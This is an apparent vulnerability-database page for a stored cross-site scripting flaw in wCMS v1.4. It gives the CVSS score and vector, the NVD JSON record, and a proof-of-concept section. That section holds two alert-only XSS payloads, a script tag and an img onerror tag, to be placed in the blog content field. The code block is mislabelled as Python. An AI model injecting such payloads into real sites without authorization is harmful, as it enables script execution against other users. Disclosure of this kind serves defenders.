CVE-2026-38669

Description

wCMS v.1.4 is vulnerable to Cross Site Scripting (XSS) when creating a new blog.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

wCMS v1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for Stored XSS in wCMS v1.4 -->
<!-- Inject this payload into the 'Blog Content' field when creating a new blog -->
<script>
  alert('CVE-2026-38669 XSS Triggered');
</script>

<!-- Alternative payload using image tag -->
<img src=x onerror=alert('CVE-2026-38669 XSS')>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-38669
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-38669
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-38669/
[4] VulDB https://vuldb.com/cve/CVE-2026-38669
[5] https://github.com/thv930/yumeng_wu/tree/main/1/readme.md
[6] https://github.com/thv930/yumeng_wu/tree/main/1/readme.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-38669", "sourceIdentifier": "[email protected]", "published": "2026-05-04T17:16:23.333", "lastModified": "2026-05-05T20:24:04.853", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "wCMS v.1.4 is vulnerable to Cross Site Scripting (XSS) when creating a new blog."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/thv930/yumeng_wu/tree/main/1/readme.md", "source": "[email protected]"}, {"url": "https://github.com/thv930/yumeng_wu/tree/main/1/readme.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}